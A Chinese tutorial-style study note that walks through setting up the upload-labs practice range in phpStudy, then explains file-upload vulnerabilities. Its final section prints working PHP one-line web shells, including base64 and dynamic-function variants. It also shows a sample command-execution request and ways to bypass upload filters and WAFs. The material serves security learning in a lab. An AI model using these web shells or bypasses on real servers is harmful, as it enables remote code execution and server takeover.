1、phpstudy及upload-labs下载
(1)下载phpstudy小皮面板
首先需要软件phpstudy 下载地址 phpStudy下载-phpStudy最新版下载V8.1.1.3 -阔思亮
(2)然后到github网址下载源码压缩包
网址 https://github.com/c0ny1/upload-labs
再下载压缩包
下载好后解压缩到phpstudy的www目录下(注意,如果解压出现警告添加信任即可)
这里记得改一下解压缩后的文件夹名字(主要是为了方便后面搭建网址方便一些,没有那么麻烦),就设置为upload-labs即可,或者直接upload。以防万一后面靶场名字显示出问题
2、环境搭建
然后打开phpstudy
开启apach和mysql服务器
然后进入网站,检查localhost根目录是不是在phpstudy的www目录下
检查过后点击创建网站
这里一定要选择www目录下的upload-labs,然后再设置域名为127.0.0.1 端口随便设置一个没被占用的即可,这里我设置了8088
设置完后点击确定即可。然后点击管理,打开网址
就可以看到域名为127.0.0.1,端口为8088的upload-labs靶场搭建成功
3、靶场搭建问题
(1)服务器未开启
如果在打开网站时,出现下面这种情况的提示
那就说明网站所需要的服务器(如apache和mysql)没开启或已关机,需要进入 首页手动启用服务器
关闭状态:
开启就可以打开了:
(2)根目录问题
这里说一下为什么创建网站的目录要到www目录下的upload-labs文件夹
因为我们下载的upload-labs这些文件是为靶场准备的,如果不选择到upload-labs目录,它相当于没有材料就建不了房子的,就会只创建站点(也就相当于建房的地基)
不信做个示范,注意这里的根目录霍,只选择到www目录就直接创建127.0.0.1,看看会创建出什么样的页面
确认后打开网站
看吧,没有建房材料就只有地基(毕竟我们选择的目录只到www,想要构建upload-labs靶场的“房子”它是没有办法在根目录上找到uploads-labs,因为127.0.0.1的域名创建到了upload-labs文件的上一级,它找不到啊)
所以根目录是www目录下还要再加upload-labs
这样它在upload-labs目录下才能找到upload-labs文件
upload-labs靶场才能搭建成功
(3)端口占用
至于端口被占用的话,是这种情况
8080的端口,打开网站后
换个端口就可以了
换8088的端口打开网站后靶场正常
4、文件上传漏洞中一句话木马的原理及运用
(1)木马的概念
木马:能够获取对方控制权限的程序
分类:(远控)exe、web木马、php、jsp、asp
一般文件上传中利用的一句话就是php代码的木马,而我前两天学的msf制作windows病毒实战渗透制作的就是exe
(2)漏洞利用原理
<1>文件上传缺陷
攻击者利用未严格校验上传文件的后端逻辑(如未检查文件类型、内容、后缀等),将包含恶意代码的文件(如PHP、ASP、JSP等)上传至服务器
<2>绕过防护机制
通过以下方式绕过常见防护:
(1)伪造文件类型
修改HTTP头中的Content-Type(如image/png)伪装成合法文件
(2)修改文件后缀
如将.php改为.php5、.phtml或结合服务端解析漏洞(如Apache的test.php.jpg).
(3)文件内容混淆
在图片文件中插入恶意代码(图片马),利用服务器对文件内容的信任
<3>木马执行
(3)一句话木马的工作原理
这里我尝试自己搭了个靶场,但不太好用,就不用了(upload-labs留着后面系统而全面的学)
<1>典例
<?php @eval($_POST['cmd']); ?>
eval函数:
将字符串作为PHP代码执行
$*POST['cmd'] :
接收客户端通过POST请求发送名为cmd的参数值
@ :
抑制错误提示,增强隐蔽性 (这个不太理解)
<2>木马执行流程
(1)上传恶意代码
攻击者利用上传包含上述代码的恶意文件(如shell.php)到服务器
(2)构造请求,发送数据
通过工具(如中国菜刀、中国蚁剑、Cknife)或手动构造HTTP请求,向shell.php发送POST数据
POST /uploads/shell.php HTTP/1.1
...
cmd=system("whoami");
(3)服务端执行
eval("system('whoami');"),返回命令执行结果
<3>高级变变种
(1)加密绕过
对代码进行base64、AES加密,规避WAF检测
<?php @eval(base64_decode($_POST['cmd'])); ?>
(2)动态函数调用
<?php $_GET['a']($_GET['b']); ?>
通过URL参数动态执行代码:/shell.php?a=system&b=id